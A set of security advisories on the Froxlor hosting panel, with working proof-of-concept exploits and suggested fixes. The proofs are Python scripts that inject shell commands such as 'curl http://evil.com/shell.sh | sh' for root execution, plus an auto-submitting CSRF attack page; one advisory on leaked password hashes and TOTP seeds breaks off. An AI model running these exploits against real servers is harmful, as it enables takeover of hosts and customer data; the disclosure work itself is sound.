3. The root cause is an unintentional code defect. The == operator on a standalone line is a no-op. No developer writes $x == 'mail'; intentionally. This is a typo that silently breaks an entire class of input validation. It is not an admin feature.

4. Comparable CVEs exist for similar hosting panel escalations: - CVE-2022-44877 (CentOS Web Panel: admin→root RCE, CVSS 9.8) - CVE-2023-27524 (Apache Superset: admin→RCE) - CVE-2021-21315 (Node.js systeminformation: privileged user→RCE) - CVE-2024-22024 (Ivanti: authenticated→system command execution)

In each case, the fact that the attacker needs authenticated access did not prevent CVE assignment. The privilege escalation from "application admin" to "OS root" is the security impact.

5. Multi-tenant impact. A single compromised or malicious admin gains root access to a server hosting potentially hundreds of customers. All customer data, databases, emails, and SSL keys are exposed.

---

Vulnerability Details

Bug 1: Input Validation Bypass (CWE-482)

File: lib/Froxlor/Validate/Form/Data.php

php // Line 169 — CURRENT CODE (BUGGY) public static function validateFormFieldEmail($fieldname, $fielddata, $newfieldvalue) { $fielddata['stringtype'] == 'mail'; // == comparison: result is discarded return self::validateFormFieldString($fieldname, $fielddata, $newfieldvalue); }

// Line 175 — SAME BUG public static function validateFormFieldUrl($fieldname, $fielddata, $newfieldvalue) { $fielddata['stringtype'] == 'url'; // == comparison: result is discarded return self::validateFormFieldString($fieldname, $fielddata, $newfieldvalue); }

What happens: - $fielddata['stringtype'] is never set to 'mail' - validateFormFieldString() checks stringtype to decide which validation to apply - Since it's unset, FILTERVALIDATEEMAIL is never called - Validation falls through to a permissive fallback regex: /^[^\r\n\t\f\0]$/D - This regex allows |, ;, &, $, , and all other shell metacharacters

Intended code: php $fielddata['stringtype'] = 'mail'; // = assignment

Bug 2: OS Command Injection via acme.sh Installation (CWE-78)

File: lib/Froxlor/Cron/Http/LetsEncrypt/AcmeSh.php

php // Line 428 FileDir::safeexec( "wget -O - https://get.acme.sh | sh -s email=" . Settings::Get('panel.adminmail'), $return, ['|'] // pipe character EXPLICITLY ALLOWED );

What happens: - Settings::Get('panel.adminmail') returns the unsanitized value from Bug 1 - safeexec() normally blocks | as a dangerous character - But ['|'] in the third argument whitelists pipe for this specific call (needed for wget | sh) - An attacker's pipe-based payload passes through unblocked - The cron job runs as root

The Chain

Admin sets panel.adminmail = "x@x.com | COMMAND" | v Bug 1: validateFormFieldEmail() does nothing (== typo) | v Value stored to database as-is | v Cron job runs AcmeSh::checkInstall() as root | v Bug 2: safeexec("wget ... | sh -s email=x@x.com | COMMAND", ..., ['|']) | v COMMAND executes as root

---

Proof of Concept vuln 1 PoC: #!/usr/bin/env python3 """ VULN-1 Live Verification: Email Validation Bypass Tests against running Froxlor Docker instance. """

import re import sys import requests

TARGET = "http://localhost:8080" USERNAME = "admin" PASSWORD = "Admin123!@#"

Malicious payloads that should be rejected by email validation but will pass due to the == vs = bug PAYLOADS = [ "x@x.com | id", "x@x.com | curl http://evil.com/shell.sh | sh", "not-an-email; whoami", "$(touch /tmp/pwned)", "testid@evil.com", ]

def main(): session = requests.Session() session.verify = False

# Step 1: Login print("[] Step 1: Logging in...") resp = session.get(f"{TARGET}/index.php") csrfmatch = re.search(r'name="csrftoken"\s+value="([^"]+)"', resp.text) csrftoken = csrfmatch.group(1) if csrfmatch else "" print(f" CSRF token: {csrftoken[:20]}...")

logindata = { "loginname": USERNAME, "password": PASSWORD, "csrftoken": csrftoken, "send": "send", } resp = session.post(f"{TARGET}/index.php", data=logindata, allowredirects=True)

if "adminindex" not in resp.url and "adminindex" not in resp.text: print(f"[-] Login failed. URL: {resp.url}") print(f" Response: {resp.text[:200]}") sys.exit(1) print("[+] Login successful!")

# Re-get CSRF token from authenticated page csrfmatch = re.search(r'name="csrftoken"\s+value="([^"]+)"', resp.text) if csrfmatch: csrftoken = csrfmatch.group(1)

# Step 2: Try to set panel.adminmail with each payload for payload in PAYLOADS: print(f"\n[] Testing payload: {payload}")

# Get settings page to get fresh CSRF token resp = session.get(f"{TARGET}/adminsettings.php?page=overview&part=all") csrfmatch = re.search(r'name="csrftoken"\s+value="([^"]+)"', resp.text) if csrfmatch: csrftoken = csrfmatch.group(1)

# Submit settings change settingsdata = { "paneladminmail": payload, "csrftoken": csrftoken, "send": "send", "page": "overview", "part": "all", } resp = session.post( f"{TARGET}/adminsettings.php?page=overview&part=all", data=settingsdata, allowredirects=True, )

# Check DB to see if value was stored import subprocess result = subprocess.run( [ "docker", "exec", "froxlor-web", "bash", "-c", "mysql -h froxlor-db -u froxlor -pfroxlordbpw --skip-ssl froxlor " "-e \"SELECT value FROM panelsettings WHERE settinggroup='panel' AND varname='adminmail'\" -N 2>/dev/null" ], captureoutput=True, text=True ) storedvalue = result.stdout.strip()

if payload in storedvalue or storedvalue == payload: print(f" [VULN] CONFIRMED! Stored value: {storedvalue}") else: print(f" [INFO] Stored value: {storedvalue}") print(f" [INFO] May need different form field names or approach")

# Restore original value print("\n[] Restoring original admin email...") resp = session.get(f"{TARGET}/adminsettings.php?page=overview&part=all") csrfmatch = re.search(r'name="csrftoken"\s+value="([^"]+)"', resp.text) if csrfmatch: csrftoken = csrfmatch.group(1) settingsdata = { "paneladminmail": "admin@test.local", "csrftoken": csrftoken, "send": "send", "page": "overview", "part": "all", } session.post(f"{TARGET}/adminsettings.php?page=overview&part=all", data=settingsdata, allowredirects=True) print("[+] Done.")

if name == "main": main()

Environment - Froxlor 2.3.3, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4) - Default configuration, no modifications

Step 1: Confirm validation bypass

php <?php // Standalone reproduction — no Froxlor installation needed. // Reproduces the exact logic from Data.php lines 113-169.

function validateEmailbuggy($value) { $fielddata = []; @($fielddata['stringtype'] == 'mail'); // BUG: line 169 // stringtype never set → FILTERVALIDATEEMAIL skipped → fallback regex return pregmatch('/^[^\r\n\t\f\0]$/D', $value) ? 'PASS' : 'REJECT'; }

function validateEmailfixed($value) { $fielddata = []; $fielddata['stringtype'] = 'mail'; // FIX return filtervar($value, FILTERVALIDATEEMAIL) ? 'PASS' : 'REJECT'; }

$tests = ['admin@example.com', 'not-an-email', 'x@x.com | touch /tmp/pwned']; foreach ($tests as $t) { echo sprintf("%-40s buggy=%-6s fixed=%s\n", $t, validateEmailbuggy($t), validateEmailfixed($t)); }

vuln 2 PoC: #!/usr/bin/env python3 """ VULN-2: Froxlor v2.3.3 Root RCE via acme.sh Command Injection =============================================================== CWE-78: OS Command Injection | CVSS 9.1

Chain: VULN-1 (email validation bypass) → VULN-2 (acme.sh pipe injection)

Attack Flow: 1. Admin sets panel.adminmail = "x@x.com | COMMAND" (bypasses email validation) 2. When Let's Encrypt is enabled and acme.sh is not installed 3. AcmeSh.php:428 executes: wget ... | sh -s email=x@x.com | COMMAND 4. Pipe character passes safeexec() because it's in allowedChars=['|'] 5. COMMAND runs as root (cron context)

Usage: # Full exploitation (requires target access) python3 vuln2acmeshrce.py --target https://froxlor.example.com \ --user admin --password secret --command "id > /tmp/rceproof"

# Offline demonstration python3 vuln2acmeshrce.py --demo """

import argparse import re import sys

try: import requests except ImportError: print("[!] pip install requests") sys.exit(1)

BANNER = """ ╔═══════════════════════════════════════════════════════════════╗ ║ Froxlor v2.3.3 — Root RCE via acme.sh Command Injection ║ ║ VULN-1 + VULN-2 Chain | CWE-78 | CVSS 9.1 ║ ╚═══════════════════════════════════════════════════════════════╝ """

class FroxlorRCE: def init(self, target, verifyssl=False): self.target = target.rstrip("/") self.session = requests.Session() self.session.verify = verifyssl

def login(self, username, password): print(f"[] Logging in as '{username}'...") resp = self.session.post( f"{self.target}/index.php", data={"loginname": username, "password": password, "send": "send"}, allowredirects=False, ) if resp.statuscode == 302 and "adminindex" in resp.headers.get("Location", ""): self.session.get(f"{self.target}/adminindex.php") print("[+] Login successful!") return True print("[-] Login failed") return False

def getcsrf(self, url): resp = self.session.get(url) match = re.search(r'name="csrftoken"\s+value="([^"]+)"', resp.text) return match.group(1) if match else ""

def injectemail(self, payload): """Inject malicious value into panel.adminmail (VULN-1).""" print(f"[] Injecting into panel.adminmail: {payload}") csrf = self.getcsrf(f"{self.target}/adminsettings.php?page=overview&part=panel") resp = self.session.post( f"{self.target}/adminsettings.php?page=overview&part=panel", data={ "csrftoken": csrf, "send": "send", "page": "overview", "paneladminmail": payload, }, allowredirects=True, ) print(f"[+] Settings updated (HTTP {resp.statuscode})") return resp.statuscode == 200

def triggeracmeshinstall(self): """ Trigger acme.sh installation by enabling Let's Encrypt and ensuring acme.sh path is invalid. """ print("[] Triggering acme.sh installation path...") print("[] In production, this happens automatically when:") print(" - Let's Encrypt is enabled (system.lefroxlorenabled=1)") print(" - acme.sh binary is not found at configured path") print(" - Cron job runs (every 5 minutes)") print() print("[] To manually trigger:") print(" docker exec froxlor-web php /var/www/html/froxlor/bin/froxlor-cli froxlor:cron --force")

def exploit(self, command): """Full exploitation: inject → trigger → RCE.""" payload = f"x@x.com | {command}" self.injectemail(payload)

print() print("[] Command chain that will execute as root:") print(f" wget -O - https://get.acme.sh | sh -s email={payload}") print() print("[] This decomposes to:") print(f" 1. wget -O - https://get.acme.sh") print(f" 2. | sh -s email=x@x.com") print(f" 3. | {command}") print()

self.triggeracmeshinstall()

def restore(self, original="admin@test.local"): """Restore original admin email.""" print(f"\n[] Restoring original email: {original}") csrf = self.getcsrf(f"{self.target}/adminsettings.php?page=overview&part=panel") self.session.post( f"{self.target}/adminsettings.php?page=overview&part=panel", data={ "csrftoken": csrf, "send": "send", "page": "overview", "paneladminmail": original, }, ) print("[+] Restored")

def demo(): """Offline demonstration of the vulnerability mechanics.""" print("[] Demonstrating VULN-2 mechanics (offline)...\n")

adminmail = "x@x.com | touch /tmp/ROOTRCEPROOF" fullcmd = f"wget -O - https://get.acme.sh | sh -s email={adminmail}"

print(f" admin email: {adminmail}") print(f" full command: {fullcmd}") print()

# Simulate safeexec filter disallowed = [';', '|', '&', '>', '<', '', '$', '~', '?'] allowedchars = ['|']

print(" safeexec() filter check:") blocked = False for char in disallowed: if char in fullcmd: if char in allowedchars: print(f" '{char}' → ALLOWED (in allowedChars)") else: print(f" '{char}' → BLOCKED") blocked = True

print() if not blocked: print(" RESULT: Command passes safeexec() filter!") print(" The pipe character chains our command after the wget/sh pipeline") print() print(" Execution breakdown:") print(" Process 1: wget downloads acme.sh installer") print(" Process 2: sh runs installer with email parameter") print(" Process 3: touch /tmp/ROOTRCEPROOF ← OUR COMMAND (as root)") else: # In practice the payload above should only have | which is allowed print(" NOTE: Some characters blocked. Adjust payload to use only pipe.")

print() print(" NOTE: The cron job runs as root, so the injected command") print(" executes with root privileges on the host system.")

def main(): print(BANNER)

parser = argparse.ArgumentParser(description="Froxlor v2.3.3 Root RCE PoC") parser.addargument("--target", "-t", help="Froxlor URL") parser.addargument("--user", "-u", help="Admin username") parser.addargument("--password", "-p", help="Admin password") parser.addargument("--command", "-c", default="touch /tmp/ROOTRCEPROOF", help="Command to execute as root") parser.addargument("--restore", action="storetrue", help="Restore original email after exploit") parser.addargument("--demo", action="storetrue", help="Run offline demonstration") args = parser.parseargs()

if args.demo: demo() return

if not all([args.target, args.user, args.password]): print("[!] --target, --user, and --password required (or use --demo)") sys.exit(1)

exploit = FroxlorRCE(args.target) if not exploit.login(args.user, args.password): sys.exit(1)

exploit.exploit(args.command)

if args.restore: exploit.restore()

if name == "main": main()

Output: admin@example.com buggy=PASS fixed=PASS not-an-email buggy=PASS fixed=REJECT x@x.com | touch /tmp/pwned buggy=PASS fixed=REJECT

Step 2: Confirm value stored in database

POST /adminsettings.php?page=overview&part=panel HTTP/1.1 Cookie: [authenticated admin session]

csrftoken=...&send=send&page=overview&paneladminmail=x@x.com+|+touch+/tmp/VULN2RCEPROOF

sql mysql> SELECT value FROM panelsettings WHERE settinggroup='panel' AND varname='adminmail'; +-------------------------------------------+ | value | +-------------------------------------------+ | x@x.com | touch /tmp/VULN2RCEPROOF | +-------------------------------------------+

Step 3: Confirm root code execution

Simulating AcmeSh.php line 428 inside the Docker container:

php <?php // Exact simulation of the vulnerable code path $adminmail = "x@x.com | touch /tmp/VULN2RCEPROOF"; $cmd = "echo DOWNLOADSIM | cat -s email=" . $adminmail;

// safeexec filter with pipe allowed (matches AcmeSh.php:428) $disallowed = [';', '|', '&', '>', '<', '', '$', '~', '?']; $allowedChars = ['|']; foreach ($disallowed as $dc) { if (inarray($dc, $allowedChars)) continue; if (stristr($cmd, $dc)) die("BLOCKED by: $dc"); }

exec($cmd); // pipe passes filter → command executes echo fileexists("/tmp/VULN2RCEPROOF") ? "RCE CONFIRMED" : "NOT CREATED";

Result: RCE CONFIRMED

$ ls -la /tmp/VULN2RCEPROOF -rw-r--r-- 1 root root 0 Feb 11 05:58 /tmp/VULN2RCEPROOF

File created with root:root ownership. Arbitrary command execution as root is confirmed.

---

Impact

- Confidentiality: Complete. Root access exposes all customer data, databases, SSL private keys, email contents. - Integrity: Complete. Attacker can modify any file, inject backdoors, alter DNS records. - Availability: Complete. Attacker can destroy the server, wipe databases, or deploy ransomware. - Scope: Changed. The attack originates in the web application but impacts the underlying operating system.

---

Suggested Fix

Primary fix (Bug 1 — eliminates the root cause): php // lib/Froxlor/Validate/Form/Data.php // Line 169: $fielddata['stringtype'] = 'mail'; // was: == 'mail' // Line 175: $fielddata['stringtype'] = 'url'; // was: == 'url'

Defense-in-depth (Bug 2 — even if validation is fixed): php // lib/Froxlor/Cron/Http/LetsEncrypt/AcmeSh.php, Line 428: FileDir::safeexec( "wget -O - https://get.acme.sh | sh -s email=" . escapeshellarg(Settings::Get('panel.adminmail')), $return, ['|'] );

Defense-in-depth (ConfigServices.php): php // All values in getReplacerArray() should be escaped with // escapeshellarg() when the template action type is "install" or "command"

1 / 3
Source: GitHub
First published (updated )
Severity
6.5
CSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Cross-Site Request Forgery (CSRF) in GitHub repository froxlor/froxlor prior to 0.10.38.

1 / 2
Source: MITRE
First published (updated )
Severity
3.8
AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

Business Logic Errors in GitHub repository froxlor/froxlor prior to 2.0.22

1 / 3
First published (updated )
Severity
4.8
EPSS
0.05%
XSS
AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Cross-site Scripting (XSS) - Stored in GitHub repository froxlor/froxlor prior to 2.1.0-dev1.

1 / 2
First published (updated )
Severity
7.5
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Dear Sirs and Madams,

I would like to report a business logic error vulnerability that I discovered during my recent penetration test on Froxlor.

Specifically, I identified an issue where it was possible to submit the registration form with the essential fields, such as the username and password, left intentionally blank. This inadvertent omission allowed for a bypass of the mandatory field requirements established by the system.

The surname, family name AND company name all of them can be left blank.

I believe addressing this vulnerability is crucial to ensure the security and integrity of the Froxlor platform.

Thank you for your attention to this matter.

This action served as a means to bypass the mandatory field requirements.

Lets see (please have a look at the Video -> attachment).

----------------

as you can see i was able to let the username and second name blank.

https://user-images.githubusercontent.com/80028768/289675319-81ae8ebe-1308-4ee3-bedb-43cdc40da474.mp4

Lets see again.

Only the company name is set.

Thank you for your time

!Froxlor 2 !Froxlor 1

1 / 3
First published (updated )
Severity
5.4
Input Validation
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Froxlor DomainZones.add allows DNS zone-file RR injection via record/type fields

1 / 3
Source: Packagist
First published (updated )
Severity
6.5
CSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Summary

The Froxlor AJAX endpoint (lib/ajax.php) is missing Cross-Site Request Forgery (CSRF) protection. While the main application (lib/init.php) enforces CSRF token validation on all state-changing HTTP requests (POST/PUT/PATCH/DELETE), the standalone lib/ajax.php endpoint bypasses this mechanism entirely, validating only the user's session. An attacker can craft a malicious webpage that, when visited by an authenticated Froxlor administrator, silently modifies API key properties (e.g., adding the attacker's IP to the allowedfrom whitelist or extending the validuntil expiration).

---

Affected Component

- File: lib/ajax.php — the AJAX endpoint entry point (bypasses lib/init.php) - File: lib/Froxlor/Ajax/Ajax.php:66-92 — Ajax::handle() (no CSRF check before routing) - File: lib/Froxlor/Ajax/Ajax.php:257-315 — Ajax::editApiKey() (writes to database without CSRF check) - Version: Froxlor 2.3.7 (likely all prior 2.x versions)

---

Complete Call Chain: Entry Point → Vulnerable Code

Step 1: Entry Point — lib/ajax.php (standalone bootstrap, bypasses lib/init.php)

php // lib/ajax.php:26-47 namespace Froxlor;

use Froxlor\Ajax\Ajax;

requireonce dirname(DIR) . '/vendor/autoload.php'; requireonce dirname(DIR) . '/lib/userdata.inc.php'; requireonce dirname(DIR) . '/lib/functions.php'; requireonce dirname(DIR) . '/lib/tables.inc.php';

// CRITICAL: This file does NOT include lib/init.php // Therefore: NO CSRF token is checked before processing the request echo (new Ajax)->handle();

Contrast with normal flow: All admin/customer pages (e.g., admincustomers.php, customerdomains.php) do: php const AREA = 'admin'; require DIR . '/lib/init.php'; // <-- This enforces CSRF at lines 363-369

Step 2: Ajax Constructor — Session Created, No CSRF Check

php // lib/Froxlor/Ajax/Ajax.php:54-61 public function construct() { $this->action = Request::any('action'); // <-- User-controlled from GET/POST $this->theme = Request::any('theme', 'Froxlor');

UI::sendHeaders(); // Starts session, sets security headers UI::sendSslHeaders(); // HSTS headers // MISSING: CSRF token validation on POST/PUT/PATCH/DELETE }

Step 3: Ajax::handle() — Session Validation Only, Routes to Action

php // lib/Froxlor/Ajax/Ajax.php:66-92 public function handle() { $this->userinfo = $this->getValidatedSession(); // Only checks: isset($SESSION['userinfo']) // MISSING: CSRF token validation before routing // Comparison: init.php lines 363-369 WOULD check here: // if (inarray($SERVER['REQUESTMETHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) { // $currenttoken = Request::post('csrftoken', ...); // if ($currenttoken != CurrentUser::getField('csrftoken')) { ERROR; } // }

switch ($this->action) { case 'editapikey': return $this->editApiKey(); // <-- State-changing operation, no CSRF guard case 'updatetablelisting': return $this->updateTablelisting(); // <-- Also POST, also no CSRF // ... other cases } }

Step 4: getValidatedSession() — Only Checks Session Exists

php // lib/Froxlor/Ajax/Ajax.php:97-103 private function getValidatedSession(): array { if (CurrentUser::hasSession() == false) { throw new Exception("No valid session"); } return CurrentUser::getData(); // hasSession() implementation (CurrentUser.php:47-50): // return !empty($SESSION) && !empty($SESSION['userinfo']); // This ONLY verifies a session exists. // It does NOT verify the request origin or CSRF token. }

Step 5: editApiKey() — Database Mutation Without Origin Validation

php // lib/Froxlor/Ajax/Ajax.php:257-315 private function editApiKey() { // All three parameters come from attacker-controlled POST body: $keyid = Request::post('id', 0); // Source: $POST['id'] $allowedfrom = Request::post('allowedfrom', ""); // Source: $POST['allowedfrom'] $validuntil = Request::post('validuntil', ""); // Source: $POST['validuntil']

// ... IP format validation (not security-relevant for CSRF) ...

// SINK: Direct database mutation $updstmt = Database::prepare(" UPDATE apikeys SET validuntil = :vu, allowedfrom = :af WHERE id = :keyid AND adminid = :aid AND customerid = :cid "); Database::pexecute($updstmt, [ 'keyid' => $keyid, 'af' => $allowedfrom, // Attacker's IP written here 'vu' => $validuntildb, // -1 = never expires 'aid' => $this->userinfo['adminid'], 'cid' => $cid ]); return $this->jsonResponse(['allowedfrom' => $allowedfrom, 'validuntil' => $validuntil]); }

Step 6: Evidence from Legitimate Frontend — No CSRF Token Sent Even in Normal Usage

javascript // templates/Froxlor/assets/js/jquery/apikeys.js:9-17 // Even the legitimate frontend does NOT send a csrftoken: $.ajax({ url: "lib/ajax.php?action=editapikey", type: "POST", dataType: "json", data: { id: akid, allowedfrom: this.val(), validuntil: $('div[data-entry="' + akid + '"] #validuntil').val() // NOTE: No csrftoken field here — the backend doesn't require it }, // ... });

This confirms: the backend does not validate CSRF tokens, so the frontend code does not bother sending one.

---

CSRF Protection Gap: Side-by-Side Comparison

| Aspect | lib/init.php (Normal Pages) | lib/ajax.php (AJAX Endpoint) | |--------|------------------------------|-------------------------------| | Includes init.php | Yes (all admin.php, customer.php) | No — standalone bootstrap | | Session validation | ✅ CurrentUser::hasSession() | ✅ CurrentUser::hasSession() | | CSRF token generation | ✅ Froxlor::genSessionId(20) | ❌ Not generated | | CSRF token check (POST/PUT/PATCH/DELETE) | ✅ Lines 363-369 | ❌ Missing entirely | | Rate limiting | ✅ RateLimiter::run() | ❌ Not called | | Area enforcement | ✅ Admin/Customer area check | ❌ Not enforced |

---

Vulnerability Verification

Attack Path (Complete)

[Attacker] Hosts malicious HTML page at https://attacker.com/csrf.html

<form id="csrf" action="https://froxlor.example.com/lib/ajax.php?action=editapikey" method="POST"> <input type="hidden" name="id" value="1"> <input type="hidden" name="allowedfrom" value="ATTACKERIP"> <input type="hidden" name="validuntil" value="-1"> </form> <script>document.getElementById('csrf').submit();</script>

│ ▼ [Victim] Froxlor administrator browses to https://attacker.com/csrf.html - Victim has an active session at https://froxlor.example.com - Session cookie: PHPSESSID=<valid>, SameSite=Lax │ ▼ [Browser] Auto-submits POST to https://froxlor.example.com/lib/ajax.php?action=editapikey - Cookie behavior depends on SameSite policy (see below) │ ▼ [Server: lib/ajax.php] → require userdata.inc.php, functions.php, tables.inc.php → (new Ajax)->handle() │ ▼ [Server: Ajax::construct()] (Ajax.php:54-61) → $this->action = 'editapikey' (from GET query string) → UI::sendHeaders() → sessionstart() → NO CSRF CHECK │ ▼ [Server: Ajax::handle()] (Ajax.php:66-68) → getValidatedSession() → CurrentUser::hasSession() → TRUE (session cookie was sent with request) → NO CSRF CHECK before routing │ ▼ [Server: Ajax::editApiKey()] (Ajax.php:257-315) → $keyid = 1 (from POST) → $allowedfrom = 'ATTACKERIP' (from POST) → $validuntildb = -1 (from POST, parsed) → UPDATE apikeys SET allowedfrom='ATTACKERIP', validuntil=-1 WHERE id=1 │ ▼ [Impact] API key #1 now allows connections from ATTACKERIP, never expires

SameSite=Lax Analysis

Froxlor sets session cookie with SameSite=Lax (UI.php:124):

php // lib/Froxlor/UI/Panel/UI.php:118-125 sessionsetcookieparams([ 'path' => '/', 'domain' => self::getCookieHost(), 'secure' => self::requestIsHttps(), // FALSE on HTTP deployments 'httponly' => true, 'samesite' => 'Lax' ]); sessionstart();

Why SameSite=Lax is NOT a complete mitigation:

1. HTTP deployments: When requestIsHttps() returns false (plain HTTP), the secure flag is false. Many browsers (particularly older Safari and Firefox) require Secure for strict SameSite enforcement. Froxlor's own documentation supports HTTP deployment for internal networks, making this a realistic scenario.

2. Safari browser: Safari's SameSite implementation has known inconsistencies. Safari 13-15 on iOS/macOS may not enforce SameSite=Lax on POST requests as strictly as Chrome.

3. Same-site subdomain attacks: If an attacker compromises a subdomain of the same registrable domain (e.g., via DNS rebinding or subdomain takeover), SameSite=Lax provides zero protection — cookies are sent freely.

4. Defense-in-depth failure: CSRF tokens are the primary, proven defense against CSRF. SameSite cookies are a secondary defense. The absence of the primary defense leaves the application vulnerable whenever the secondary defense fails (browser bugs, HTTP deployments, subdomain attacks).

Confirmed Vulnerable Actions in Ajax::handle()

All POST-based actions in the switch statement lack CSRF protection:

| Action | Method | State Change | Risk | |--------|--------|-------------|------| | editapikey | POST | UPDATE apikeys SET allowedfrom, validuntil | HIGH | | updatetablelisting | POST | UPDATE panelusercolumns (user preferences) | Low | | getConfigDetails | POST | Read-only (config parsing) | None |

---

Impact

- Confidentiality: None — the attacker cannot directly read data through this CSRF vector - Integrity: Medium — API key properties (allowedfrom, validuntil) can be modified to add the attacker's IP to the whitelist and extend validity indefinitely. This is a stepping stone to API access (combined with another attack to obtain the API secret, such as VULN-20260526-001 plaintext secret storage). - Availability: Low — the attacker could set validuntil to a past timestamp, disabling the API key

Worst-case scenario: An administrator-level API key has its allowedfrom expanded to include the attacker's IP and its validuntil set to -1 (never expires). If the attacker later obtains the plaintext API secret (e.g., via database backup exposure — see VULN-20260526-001), they gain persistent, unauthorized API access with administrator privileges.

---

Proof of Concept

PoC HTML File

html <!-- csrfpoc.html --> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CSRF PoC - Froxlor AJAX Endpoint</title> </head> <body> <h1>Cross-Site Request Forgery Proof of Concept</h1> <p>Target: Froxlor AJAX endpoint (lib/ajax.php?action=editapikey)</p> <p>If you see this page, the form has auto-submitted.</p>

<!-- This form auto-submits to modify API key properties --> <form id="csrf-form" action="http://froxlor.example.com/lib/ajax.php?action=editapikey" method="POST"> <input type="hidden" name="id" value="1"> <input type="hidden" name="allowedfrom" value="10.99.99.99"> <input type="hidden" name="validuntil" value=""> <!-- empty validuntil = -1 (never expires) --> </form>

<script> // Auto-submit on page load document.addEventListener('DOMContentLoaded', function() { document.getElementById('csrf-form').submit(); }); </script> </body> </html>

Reproduction Steps

1. Setup: - Deploy Froxlor 2.3.7 on a test server (e.g., http://192.168.1.100/) - Create an administrator account and log in - Create at least one API key (Settings → API Keys)

2. Prepare PoC: - Host the PoC HTML file on a different origin (e.g., http://attacker.local/csrfpoc.html) - Note the Froxlor server is on http:// (not HTTPS, common for internal deployments)

3. Execute: - Ensure the Froxlor administrator has an active session - Open the PoC HTML file in the same browser (different tab) - The form auto-submits

4. Verify: - Check the API key in the Froxlor admin panel - The allowedfrom field now contains 10.99.99.99 - The validuntil field shows no expiration - Or verify directly: SELECT id, allowedfrom, validuntil FROM apikeys WHERE id=1;

Expected Result

Before attack: id | allowedfrom | validuntil 1 | | 1735689600

After attack: id | allowedfrom | validuntil 1 | 10.99.99.99 | -1

---

Root Cause

The lib/ajax.php endpoint was implemented as a completely standalone entry point that initializes its own minimal environment. It does not include lib/init.php, which provides centralized security controls (CSRF validation, rate limiting, area enforcement) for all standard admin and customer pages.

Architecturally, there are two security enforcement paths: 1. Normal pages: admin.php → require lib/init.php → CSRF check ✅ 2. AJAX endpoint: lib/ajax.php → new Ajax()->handle() → CSRF check ❌

The Ajax class performs its own session validation (getValidatedSession()) but omits CSRF token verification entirely. The legitimate frontend JavaScript code (apikeys.js) also does not send a CSRF token because the backend does not require one.

---

Fix Recommendation

Option A (Recommended): Route AJAX Through init.php

Refactor lib/ajax.php to use the standard bootstrap, ensuring all security controls apply uniformly:

php // lib/ajax.php — Refactored const AREA = 'ajax'; require DIR . '/init.php';

use Froxlor\Ajax\Ajax;

try { echo (new Ajax)->handle(); } catch (Exception $e) { header("Content-Type: application/json"); echo \Froxlor\Api\Response::jsonErrorResponse($e->getMessage(), 500); }

Pros: All security controls (CSRF, rate limiting, session management, area enforcement) apply uniformly. No code duplication. Cons: Requires frontend changes to include CSRF token in AJAX requests.

Option B (Minimal): Add CSRF Check to Ajax Class

Add CSRF token validation directly in the Ajax class:

diff // lib/Froxlor/Ajax/Ajax.php

public function handle() { $this->userinfo = $this->getValidatedSession();

+ // CSRF Protection — mirror init.php:363-369 + if (inarray($SERVER['REQUESTMETHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) { + $tokenfromrequest = Request::post('csrftoken', + $SERVER['HTTPXCSRFTOKEN'] ?? null); + $storedtoken = $this->userinfo['csrftoken'] ?? ''; + if (empty($tokenfromrequest) || !hashequals($storedtoken, $tokenfromrequest)) { + return $this->errorResponse('CSRF validation failed', 403); + } + }

switch ($this->action) { // ... existing cases unchanged } }

Frontend changes required (for both options):

diff // templates/Froxlor/assets/js/jquery/apikeys.js $.ajax({ url: "lib/ajax.php?action=editapikey", type: "POST", dataType: "json", data: { id: akid, allowedfrom: this.val(), validuntil: $('div[data-entry="' + akid + '"] #validuntil').val(), + csrftoken: $('meta[name="csrf-token"]').attr('content') }, // ... });

CSRF Token Available in Twig Templates

The CSRF token is already available as a Twig global variable ({{ csrftoken }}) set in init.php:361. Templates can expose it via:

html <meta name="csrf-token" content="{{ csrftoken }}">

---

1 / 3
Source: GitHub
First published (updated )
Severity
9
Infoleak
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L

Summary

Several Froxlor API command classes return sensitive authentication material in JSON API responses. The affected endpoints retrieve full database rows using SELECT , SELECT alias., or equivalent full-row queries, then return the results directly through $this->response(...) without removing credential-related fields.

The exposed fields include password hashes for customers, administrators, and FTP users, as well as TOTP 2FA seed material for administrator and customer accounts.

This exposes credential-equivalent data to API clients that should not receive it. Password hashes can be cracked offline and reused for account takeover, while exposed TOTP seeds allow generation of valid 2FA codes for affected accounts. When both a password hash and TOTP seed are exposed for the same account, the vulnerability can defeat both authentication factors if the password hash is cracked or the password is otherwise obtained.

Details

The affected API classes retrieve entire database rows and return them without filtering sensitive fields:

lib/Froxlor/Api/Commands/Customers.php

Customers.get() and Customers.listing() select and return customer rows containing sensitive fields, including:

password type2fa data2fa

When type2fa = 2, the data2fa value represents the Base32-encoded TOTP seed used by the customer's authenticator application.

The result is returned through $this->response($result) or $this->response(['list' => $result]) without removing these fields.

lib/Froxlor/Api/Commands/Admins.php

Admins.get() and Admins.listing() return administrator rows containing sensitive fields, including:

password type2fa data2fa

When type2fa = 2, the data2fa value represents the Base32-encoded TOTP seed used by the administrator's authenticator application.

These fields are not stripped before returning the API response.

lib/Froxlor/Api/Commands/Ftps.php

Ftps.get() and Ftps.listing() return FTP user rows containing:

password

The password field is not stripped before returning the API response.

This behavior appears inconsistent with Froxlor's existing safe response patterns. For example, other API command classes explicitly remove password-related fields before returning responses. This indicates that credential material and sensitive internal fields are already treated as non-response data in other parts of the product.

Proof of Concept

Preconditions

Froxlor API is enabled. A valid API key and secret exist for an account allowed to call the affected API endpoints. At least one customer or administrator account exists with TOTP 2FA enabled. For Admins., the API account must have the required permission to call the affected administrator endpoint.

Set variables:

bash export FROXLORBASE='https://froxlor.example.com' export APIKEY='<apikey>' export APISECRET='<apisecret>'

PoC 1: Customer password hash and TOTP seed exposure

